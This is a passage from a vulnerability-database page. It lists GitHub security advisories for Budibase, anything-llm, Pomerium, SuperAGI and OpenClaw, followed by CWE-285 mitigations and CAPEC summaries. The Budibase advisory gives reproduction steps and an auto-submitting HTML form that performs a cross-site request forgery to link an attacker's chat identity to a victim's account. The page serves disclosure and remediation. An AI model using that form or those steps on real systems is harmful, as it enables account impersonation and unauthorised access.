publicRoutes.post("/api/chat-links/:instance/:token/handoff", ai.confirmChatLinkSession)
publicRoutes has no group middleware (endpointGroups/standard.ts:24-25 calls endpointGroupList.group() with no middleware and then .lockMiddleware()). The routes do not have a per-route authorized(...). There is no CSRF middleware on these routes -> Budibase's CSRF synchroniser token is enforced only for state-changing verbs on authenticated routes that are not in NO_CSRF_ENDPOINTS; the public-routes path bypasses it.
Issue 2 -> The confirmation token is exposed to anyone who views the GET page.
// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:40-60
const renderLinkConfirmationPage = (session, action) => {
...
return `<!doctype html>...
<form method="post" action="${helpers.escapeHtml(action)}">
<input type="hidden" name="confirmationToken" value="${helpers.escapeHtml(session.confirmationToken)}">
<button type="submit">Confirm</button>
</form>
...`
}
The confirmationToken (a newid() UUIDv4 generated by prepareChatIdentityLinkSessionConfirmation) is rendered into a hidden form input. Anyone who loads the GET page sees the token in the page source.
Issue 3 -> The POST binds the currently-authenticated user to the external identity based solely on the confirmation token.
// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:124-177
export async function confirmChatLinkSession(ctx) {
...
if (!ctx.isAuthenticated) { throw new HTTPError("Authentication is required to link chat identity", 401) }
if (!session.confirmationToken || ctx.request.body?.confirmationToken !== session.confirmationToken) {
throw new HTTPError("Link confirmation is invalid or has expired", 400)
}
const currentGlobalUserId = getCurrentGlobalUserId(ctx) // <- victim's ID
const consumedSession = await sdk.ai.chatIdentityLinks.consumeChatIdentityLinkSession(token)
...
await sdk.ai.chatIdentityLinks.upsertChatIdentityLink({
provider: consumedSession.provider,
externalUserId: consumedSession.externalUserId, // <- attacker's chat identity
externalUserName: consumedSession.externalUserName,
...
globalUserId: currentGlobalUserId, // <- bound to victim
linkedBy: currentGlobalUserId,
})
...
}
There is no binding between the session and the requester's Budibase identity at preparation time. prepareChatIdentityLinkSessionConfirmation (sdk/workspace/ai/chatIdentityLinks.ts:173-188) stores the confirmationToken keyed by token with no user-id field. Whoever is authenticated when the POST fires (and supplies the correct confirmationToken) gets bound.
Issue 4 -> assertSessionMatchesInstance only checks workspace ID, not user.
// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:17-27
const assertSessionMatchesInstance = ({ workspaceId, instance }) => {
if (!workspaceId || workspaceId !== instance) {
throw new HTTPError("Link token is not valid for this workspace", 400)
}
}
The check confirms the session belongs to the same workspace as the URL instance param -> useful for preventing cross-workspace confusion but useless against same-tenant identity confusion.
Reproduction
Step-by-step attack
-
Attacker (tenant T) provisions a chat-link session for their own external identity. Via the agent channel provisioning flow (e.g.
POST /api/agent/:agentId/slack/provisionor via the Discord/MS Teams/Telegram provisioning endpoints), the attacker obtains a chat-linktokenbound to their own Slack user ID. The session is stored in Redis keyed bytoken, scoped to tenant T. -
Attacker triggers
prepareChatIdentityLinkSessionConfirmation. Either by GETting the handoff page themselves (if they have a Budibase session) or via an internal API. TheconfirmationTokenis generated and stored. -
Attacker crafts a phishing/auto-submit page that POSTs to
/api/chat-links/<instance>/<token>/handoffwith the leakedconfirmationTokenin the body. Example:
```html
```
-
Victim (a Budibase user in tenant T, e.g. an admin) is lured to the attacker page while logged into Budibase. Their browser sends the POST cross-origin. If the Budibase auth cookie is sent on cross-site requests (
SameSite=Laxby default allows top-level POST navigations, which a form-submit is), the request is authenticated as the victim. -
The victim's
globalUserIdis now bound to the attacker's Slack identity. When the attacker DMs the AI agent from Slack, the agent's operations run as the victim user -> with the victim's permissions on agent operations, knowledge sources, file uploads, and any downstream automation steps keyed off the linked identity.
Mitigating factors:
- SameSite=Lax cookies block cross-site POSTs from sub-resources (fetch / XHR) but allow top-level form-POST navigations. A phishing page that submits the form via document.form.submit() (a top-level navigation) succeeds. So the CSRF works with the default cookie policy.
- The attack is same-tenant only (session.tenantId !== context.getTenantId() is checked in the sdk).
- The attacker must induce the victim to click a link (standard phishing). No silent drive-by.
Impact
| Capability | Available |
|---|---|
| Bind an attacker-controlled chat identity to a victim's Budibase account | ✅ |
| Send messages to the AI agent as the victim user (Slack/Discord/MS Teams/Telegram) | ✅ |
| Inherit the victim's permissions on agent operations | ✅ |
| Trigger automations / agent operations that the victim is authorised for | ✅ |
| Read knowledge sources the victim has access to | ✅ |
The severity depends on what the agent can do as the victim. For an admin victim, this is full tenant administration via chat. For a regular user, it is impersonation within the agent subsystem. The bound identity persists until manually unlinked, so the attacker retains ongoing access.
This is a same-tenant, user-interaction-required primitive. It is below the "unauthenticated RCE" threshold but above "hardening" -> it is a real authentication-confusion vulnerability on a sensitive identity-binding operation.
Fix
Recommended layered fixes:
-
Bind the confirmation token to the requester's Budibase session at preparation time. In
prepareChatIdentityLinkSessionConfirmation, store theglobalUserIdof the requester alongside theconfirmationToken. InconfirmChatLinkSession, verify thatgetCurrentGlobalUserId(ctx)matches the stored requester. This breaks the CSRF / cross-user confusion. -
Add a CSRF token to the confirmation POST. The standard Budibase CSRF synchroniser token (
x-csrf-tokenheader, validated against the session'scsrfToken) should be enforced onPOST /api/chat-links/.../handoff. Move the route out ofpublicRoutesto an authenticated route group so CSRF applies (the GET can remain public for the redirect-to-login flow; the POST should be authenticated + CSRF-protected). -
Add a per-session nonce that is bound to the requester's browser (e.g. a signed cookie set on the GET, validated on the POST) to prevent cross-origin submission even when
SameSite=Laxallows it. -
Require user re-authentication (re-entry of password / step-up auth) for sensitive identity-binding operations, similar to how password change requires re-auth.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@budibase/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.38.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-345",
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T21:42:51Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe Budibase AI chat-link handoff flow (`GET/POST /api/chat-links/:instance/:token/handoff`) binds an **external chat identity** (Slack/Discord/MS Teams/Telegram) to a **Budibase user account**. The confirmation endpoint is on a **public route** (no CSRF middleware, no auth-group gate) and the only credential it checks is a `confirmationToken` that is **already rendered in plaintext into the HTML confirmation page** the victim views. There is no binding between the confirmation token and the requester\u0027s Budibase session at preparation time, and no CSRF token on the POST.\n\nConsequently, an attacker who creates a chat-link session for **their own** external chat identity (or any identity they can mint in their chat platform) can induce a victim Budibase user (same tenant) to submit the confirmation POST -\u003e for example by sending them a link that auto-submits, or by XSS/CSRF on a co-tenanted page -\u003e and the victim\u0027s `globalUserId` becomes bound to the attacker\u0027s external identity. The attacker then sends messages to the AI agent from their chat platform and is **acting as the victim user** inside Budibase automations/agent operations, inheriting the victim\u0027s permissions on agent operations, knowledge sources, and any downstream automation steps keyed off the linked identity.\n\n---\n\n### Affected\n\n| Component | Path | Lines |\n|---|---|---|\n| Public handoff routes (no auth-group middleware) | `packages/server/src/api/routes/chat.ts` | `23` (`GET /api/chat-links/:instance/:token/handoff`), `27` (`POST .../handoff`) |\n| Confirmation controller | `packages/server/src/api/controllers/ai/chatIdentityLinks.ts` | `124-177` (`confirmChatLinkSession`); the binding at `153-173` |\n| Confirmation token rendered into HTML | `packages/server/src/api/controllers/ai/chatIdentityLinks.ts` | `40-60` (`renderLinkConfirmationPage`); the hidden input at `55` |\n| Session creation (attacker side) | `packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts` | `138-171` (`createChatIdentityLinkSession`), `173-188` (`prepareChatIdentityLinkSessionConfirmation`) |\n| Upsert of identity link | `packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts` | `201-250` (`upsertChatIdentityLink`) |\n\n**Affected versions:** `master` at commit `3c8d1b4023`.\n\n**Reachable over HTTP by:** the GET and POST are on `publicRoutes` (no auth-group middleware). The POST requires `ctx.isAuthenticated` at runtime (`controllers/ai/chatIdentityLinks.ts:142`) -\u003e so the victim must be logged into Budibase when the POST fires (achievable via standard CSRF if cookies are sent cross-origin, or via phishing that lures the victim to submit).\n\n---\n\n### Root cause\n\n**Issue 1 -\u003e The handoff routes are public and unauthenticated at the middleware layer.**\n\n```ts\n// packages/server/src/api/routes/chat.ts:23, 27\npublicRoutes.get(\"/api/chat-links/:instance/:token/handoff\", ai.handoffChatLinkSession)\npublicRoutes.post(\"/api/chat-links/:instance/:token/handoff\", ai.confirmChatLinkSession)\n```\n\n`publicRoutes` has **no group middleware** (`endpointGroups/standard.ts:24-25` calls `endpointGroupList.group()` with no middleware and then `.lockMiddleware()`). The routes do not have a per-route `authorized(...)`. There is **no CSRF middleware** on these routes -\u003e Budibase\u0027s CSRF synchroniser token is enforced only for state-changing verbs on authenticated routes that are not in `NO_CSRF_ENDPOINTS`; the public-routes path bypasses it.\n\n**Issue 2 -\u003e The confirmation token is exposed to anyone who views the GET page.**\n\n```ts\n// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:40-60\nconst renderLinkConfirmationPage = (session, action) =\u003e {\n ...\n return `\u003c!doctype html\u003e...\n \u003cform method=\"post\" action=\"${helpers.escapeHtml(action)}\"\u003e\n \u003cinput type=\"hidden\" name=\"confirmationToken\" value=\"${helpers.escapeHtml(session.confirmationToken)}\"\u003e\n \u003cbutton type=\"submit\"\u003eConfirm\u003c/button\u003e\n \u003c/form\u003e\n ...`\n}\n```\n\nThe `confirmationToken` (a `newid()` UUIDv4 generated by `prepareChatIdentityLinkSessionConfirmation`) is rendered into a hidden form input. Anyone who loads the GET page sees the token in the page source.\n\n**Issue 3 -\u003e The POST binds the **currently-authenticated user** to the external identity based solely on the confirmation token.**\n\n```ts\n// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:124-177\nexport async function confirmChatLinkSession(ctx) {\n ...\n if (!ctx.isAuthenticated) { throw new HTTPError(\"Authentication is required to link chat identity\", 401) }\n if (!session.confirmationToken || ctx.request.body?.confirmationToken !== session.confirmationToken) {\n throw new HTTPError(\"Link confirmation is invalid or has expired\", 400)\n }\n\n const currentGlobalUserId = getCurrentGlobalUserId(ctx) // \u003c- victim\u0027s ID\n const consumedSession = await sdk.ai.chatIdentityLinks.consumeChatIdentityLinkSession(token)\n ...\n await sdk.ai.chatIdentityLinks.upsertChatIdentityLink({\n provider: consumedSession.provider,\n externalUserId: consumedSession.externalUserId, // \u003c- attacker\u0027s chat identity\n externalUserName: consumedSession.externalUserName,\n ...\n globalUserId: currentGlobalUserId, // \u003c- bound to victim\n linkedBy: currentGlobalUserId,\n })\n ...\n}\n```\n\nThere is **no binding between the session and the requester\u0027s Budibase identity at preparation time**. `prepareChatIdentityLinkSessionConfirmation` (`sdk/workspace/ai/chatIdentityLinks.ts:173-188`) stores the `confirmationToken` keyed by `token` with no user-id field. Whoever is authenticated when the POST fires (and supplies the correct `confirmationToken`) gets bound.\n\n**Issue 4 -\u003e `assertSessionMatchesInstance` only checks workspace ID, not user.**\n\n```ts\n// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:17-27\nconst assertSessionMatchesInstance = ({ workspaceId, instance }) =\u003e {\n if (!workspaceId || workspaceId !== instance) {\n throw new HTTPError(\"Link token is not valid for this workspace\", 400)\n }\n}\n```\n\nThe check confirms the session belongs to the same workspace as the URL `instance` param -\u003e useful for preventing cross-workspace confusion but useless against same-tenant identity confusion.\n\n---\n\n### Reproduction\n\n**Step-by-step attack**\n\n1. **Attacker (tenant T) provisions a chat-link session for their own external identity.** Via the agent channel provisioning flow (e.g. `POST /api/agent/:agentId/slack/provision` or via the Discord/MS Teams/Telegram provisioning endpoints), the attacker obtains a chat-link `token` bound to **their own** Slack user ID. The session is stored in Redis keyed by `token`, scoped to tenant T.\n\n2. **Attacker triggers `prepareChatIdentityLinkSessionConfirmation`.** Either by GETting the handoff page themselves (if they have a Budibase session) or via an internal API. The `confirmationToken` is generated and stored.\n\n3. **Attacker crafts a phishing/auto-submit page** that POSTs to `/api/chat-links/\u003cinstance\u003e/\u003ctoken\u003e/handoff` with the leaked `confirmationToken` in the body. Example:\n\n ```html\n \u003cform id=\"f\" method=\"post\" action=\"https://victim.budibase.app/api/chat-links/app_xxx/linktoken/handoff\"\u003e\n \u003cinput name=\"confirmationToken\" value=\"\u003cleaked-token\u003e\"\u003e\n \u003c/form\u003e\n \u003cscript\u003edocument.getElementById(\u0027f\u0027).submit()\u003c/script\u003e\n ```\n\n4. **Victim (a Budibase user in tenant T, e.g. an admin) is lured to the attacker page** while logged into Budibase. Their browser sends the POST cross-origin. If the Budibase auth cookie is sent on cross-site requests (`SameSite=Lax` by default allows top-level POST navigations, which a form-submit is), the request is authenticated as the victim.\n\n5. **The victim\u0027s `globalUserId` is now bound to the attacker\u0027s Slack identity.** When the attacker DMs the AI agent from Slack, the agent\u0027s operations run as the victim user -\u003e with the victim\u0027s permissions on agent operations, knowledge sources, file uploads, and any downstream automation steps keyed off the linked identity.\n\n**Mitigating factors:**\n- `SameSite=Lax` cookies block cross-site POSTs from sub-resources (fetch / XHR) but **allow** top-level form-POST navigations. A phishing page that submits the form via `document.form.submit()` (a top-level navigation) succeeds. So the CSRF works with the default cookie policy.\n- The attack is **same-tenant only** (`session.tenantId !== context.getTenantId()` is checked in the sdk).\n- The attacker must induce the victim to click a link (standard phishing). No silent drive-by.\n\n---\n\n### Impact\n\n| Capability | Available |\n|---|---|\n| Bind an attacker-controlled chat identity to a victim\u0027s Budibase account | \u2705 |\n| Send messages to the AI agent as the victim user (Slack/Discord/MS Teams/Telegram) | \u2705 |\n| Inherit the victim\u0027s permissions on agent operations | \u2705 |\n| Trigger automations / agent operations that the victim is authorised for | \u2705 |\n| Read knowledge sources the victim has access to | \u2705 |\n\nThe severity depends on what the agent can do as the victim. For an admin victim, this is full tenant administration via chat. For a regular user, it is impersonation within the agent subsystem. The bound identity persists until manually unlinked, so the attacker retains ongoing access.\n\nThis is a same-tenant, user-interaction-required primitive. It is below the \"unauthenticated RCE\" threshold but above \"hardening\" -\u003e it is a real authentication-confusion vulnerability on a sensitive identity-binding operation.\n\n---\n\n### Fix\n\n**Recommended layered fixes:**\n\n1. **Bind the confirmation token to the requester\u0027s Budibase session at preparation time.** In `prepareChatIdentityLinkSessionConfirmation`, store the `globalUserId` of the requester alongside the `confirmationToken`. In `confirmChatLinkSession`, verify that `getCurrentGlobalUserId(ctx)` matches the stored requester. This breaks the CSRF / cross-user confusion.\n\n2. **Add a CSRF token to the confirmation POST.** The standard Budibase CSRF synchroniser token (`x-csrf-token` header, validated against the session\u0027s `csrfToken`) should be enforced on `POST /api/chat-links/.../handoff`. Move the route out of `publicRoutes` to an authenticated route group so CSRF applies (the GET can remain public for the redirect-to-login flow; the POST should be authenticated + CSRF-protected).\n\n3. **Add a per-session nonce that is bound to the requester\u0027s browser** (e.g. a signed cookie set on the GET, validated on the POST) to prevent cross-origin submission even when `SameSite=Lax` allows it.\n\n4. **Require user re-authentication (re-entry of password / step-up auth)** for sensitive identity-binding operations, similar to how password change requires re-auth.",
"id": "GHSA-pvcr-8mvp-w8qr",
"modified": "2026-07-24T21:42:51Z",
"published": "2026-07-24T21:42:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-pvcr-8mvp-w8qr"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/pull/19194"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/commit/362e6c654fb4da6e123c734333da2d6cbdcdb7ef"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/releases/tag/3.39.30"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": " Budibase: Chat-Link Handoff Identity Confusion (Same-Tenant Account-Link CSRF)"
}
GHSA-PVHM-6X67-RVXQ
Vulnerability from github – Published: 2024-06-06 18:30 – Updated: 2024-06-06 18:30An improper authorization vulnerability exists in the mintplex-labs/anything-llm application, specifically within the '/api/v/' endpoint and its sub-routes. This flaw allows unauthenticated users to perform destructive actions on the VectorDB, including resetting the database and deleting specific namespaces, without requiring any authorization or permissions. The issue affects all versions up to and including the latest version, with a fix introduced in version 1.0.0. Exploitation of this vulnerability can lead to complete data loss of document embeddings across all workspaces, rendering workspace chats and embeddable chat widgets non-functional. Additionally, attackers can list all namespaces, potentially exposing private workspace names.
{
"affected": [],
"aliases": [
"CVE-2024-3033"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-06T18:15:17Z",
"severity": "CRITICAL"
},
"details": "An improper authorization vulnerability exists in the mintplex-labs/anything-llm application, specifically within the \u0027/api/v/\u0027 endpoint and its sub-routes. This flaw allows unauthenticated users to perform destructive actions on the VectorDB, including resetting the database and deleting specific namespaces, without requiring any authorization or permissions. The issue affects all versions up to and including the latest version, with a fix introduced in version 1.0.0. Exploitation of this vulnerability can lead to complete data loss of document embeddings across all workspaces, rendering workspace chats and embeddable chat widgets non-functional. Additionally, attackers can list all namespaces, potentially exposing private workspace names.",
"id": "GHSA-pvhm-6x67-rvxq",
"modified": "2024-06-06T18:30:58Z",
"published": "2024-06-06T18:30:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3033"
},
{
"type": "WEB",
"url": "https://github.com/mintplex-labs/anything-llm/commit/bf8df60c02b9ddc7ba682809ca12c5637606393a"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/8a98a0b4-7886-41c5-8624-fc5c21972e5a"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PVRC-WVJ2-F59P
Vulnerability from github – Published: 2023-05-26 22:00 – Updated: 2023-05-26 22:00Impact
With specially crafted requests, incorrect authorization decisions may be made by Pomerium.
Patches
We are releasing patch fixes to address this vulnerability going back to v0.17.X. Please upgrade to:
- v0.22.2
- v0.21.4
- v0.20.1
- v0.19.2
- v0.18.1
- v0.17.4
For more information
If you have any questions or comments about this advisory:
- Open an issue in pomerium/pomerium
- Email us at security@pomerium.com
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/pomerium/pomerium"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.22.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/pomerium/pomerium"
},
"ranges": [
{
"events": [
{
"introduced": "0.21.0"
},
{
"fixed": "0.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/pomerium/pomerium"
},
"ranges": [
{
"events": [
{
"introduced": "0.20.0"
},
{
"fixed": "0.20.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/pomerium/pomerium"
},
"ranges": [
{
"events": [
{
"introduced": "0.19.0"
},
{
"fixed": "0.19.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/pomerium/pomerium"
},
"ranges": [
{
"events": [
{
"introduced": "0.18.0"
},
{
"fixed": "0.18.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/pomerium/pomerium"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.17.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-33189"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2023-05-26T22:00:39Z",
"nvd_published_at": "2023-05-30T06:16:37Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nWith specially crafted requests, incorrect authorization decisions may be made by Pomerium.\n\n### Patches\n\nWe are releasing patch fixes to address this vulnerability going back to `v0.17.X`. Please upgrade to:\n\n- v0.22.2\n- v0.21.4\n- v0.20.1\n- v0.19.2\n- v0.18.1\n- v0.17.4\n\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [pomerium/pomerium](https://github.com/pomerium/pomerium/issues)\n- Email us at [security@pomerium.com](mailto:security@pomerium.com)\n",
"id": "GHSA-pvrc-wvj2-f59p",
"modified": "2023-05-26T22:00:39Z",
"published": "2023-05-26T22:00:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pomerium/pomerium/security/advisories/GHSA-pvrc-wvj2-f59p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33189"
},
{
"type": "WEB",
"url": "https://github.com/pomerium/pomerium/commit/d315e683357a9b587ba9ef399a8813bcc52fdebb"
},
{
"type": "PACKAGE",
"url": "https://github.com/pomerium/pomerium"
},
{
"type": "WEB",
"url": "https://github.com/pomerium/pomerium/releases/tag/v0.17.4"
},
{
"type": "WEB",
"url": "https://github.com/pomerium/pomerium/releases/tag/v0.18.1"
},
{
"type": "WEB",
"url": "https://github.com/pomerium/pomerium/releases/tag/v0.19.2"
},
{
"type": "WEB",
"url": "https://github.com/pomerium/pomerium/releases/tag/v0.20.1"
},
{
"type": "WEB",
"url": "https://github.com/pomerium/pomerium/releases/tag/v0.21.4"
},
{
"type": "WEB",
"url": "https://github.com/pomerium/pomerium/releases/tag/v0.22.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Pomerium vulnerable to Incorrect Authorization with specially crafted requests"
}
GHSA-PW7F-F7WC-GXXW
Vulnerability from github – Published: 2026-04-20 00:30 – Updated: 2026-04-20 00:30A vulnerability was found in TransformerOptimus SuperAGI up to 0.0.14. This vulnerability affects the function update_user of the file superagi/controllers/user.py of the component User Update Endpoint. The manipulation of the argument user_id results in authorization bypass. The attack may be performed from remote. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-6584"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-20T00:16:34Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in TransformerOptimus SuperAGI up to 0.0.14. This vulnerability affects the function update_user of the file superagi/controllers/user.py of the component User Update Endpoint. The manipulation of the argument user_id results in authorization bypass. The attack may be performed from remote. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-pw7f-f7wc-gxxw",
"modified": "2026-04-20T00:30:13Z",
"published": "2026-04-20T00:30:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6584"
},
{
"type": "WEB",
"url": "https://gist.github.com/YLChen-007/79b967ece52d424558f279156dd53324"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/791075"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/358219"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/358219/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PW7H-9G6P-C378
Vulnerability from github – Published: 2026-03-26 21:30 – Updated: 2026-04-10 17:22Summary
Tlon settings reconciliation treated explicit empty allowlists as unset, which could silently undo an intended deny-all revocation.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected: < 2026.3.22
- Fixed: >= 2026.3.22
- Latest released tag checked:
v2026.3.23-2(630f1479c44f78484dfa21bb407cbe6f171dac87) - Latest published npm version checked:
2026.3.23-2
Fix Commit(s)
3cbf932413e41d1836cb91aed1541a28a3122f93
Release Status
The fix shipped in v2026.3.22 and remains present in v2026.3.23 and v2026.3.23-2.
Code-Level Confirmation
- extensions/tlon/src/monitor/index.ts now honors explicit empty allowlists as authoritative deny-all configuration.
- extensions/tlon/src/monitor/settings-helpers.test.ts ships regression coverage for explicit empty settings allowlists.
Thanks @zpbrent for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35649"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T21:30:54Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\nTlon settings reconciliation treated explicit empty allowlists as unset, which could silently undo an intended deny-all revocation.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Affected: \u003c 2026.3.22\n- Fixed: \u003e= 2026.3.22\n- Latest released tag checked: `v2026.3.23-2` (`630f1479c44f78484dfa21bb407cbe6f171dac87`)\n- Latest published npm version checked: `2026.3.23-2`\n\n## Fix Commit(s)\n- `3cbf932413e41d1836cb91aed1541a28a3122f93`\n\n## Release Status\nThe fix shipped in `v2026.3.22` and remains present in `v2026.3.23` and `v2026.3.23-2`.\n\n## Code-Level Confirmation\n- extensions/tlon/src/monitor/index.ts now honors explicit empty allowlists as authoritative deny-all configuration.\n- extensions/tlon/src/monitor/settings-helpers.test.ts ships regression coverage for explicit empty settings allowlists.\n\nThanks @zpbrent for reporting.",
"id": "GHSA-pw7h-9g6p-c378",
"modified": "2026-04-10T17:22:39Z",
"published": "2026-03-26T21:30:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-pw7h-9g6p-c378"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/3cbf932413e41d1836cb91aed1541a28a3122f93"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Tlon settings empty-allowlist reconciliation bypassed intended revocation"
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-39: Manipulating Opaque Client-based Data Tokens
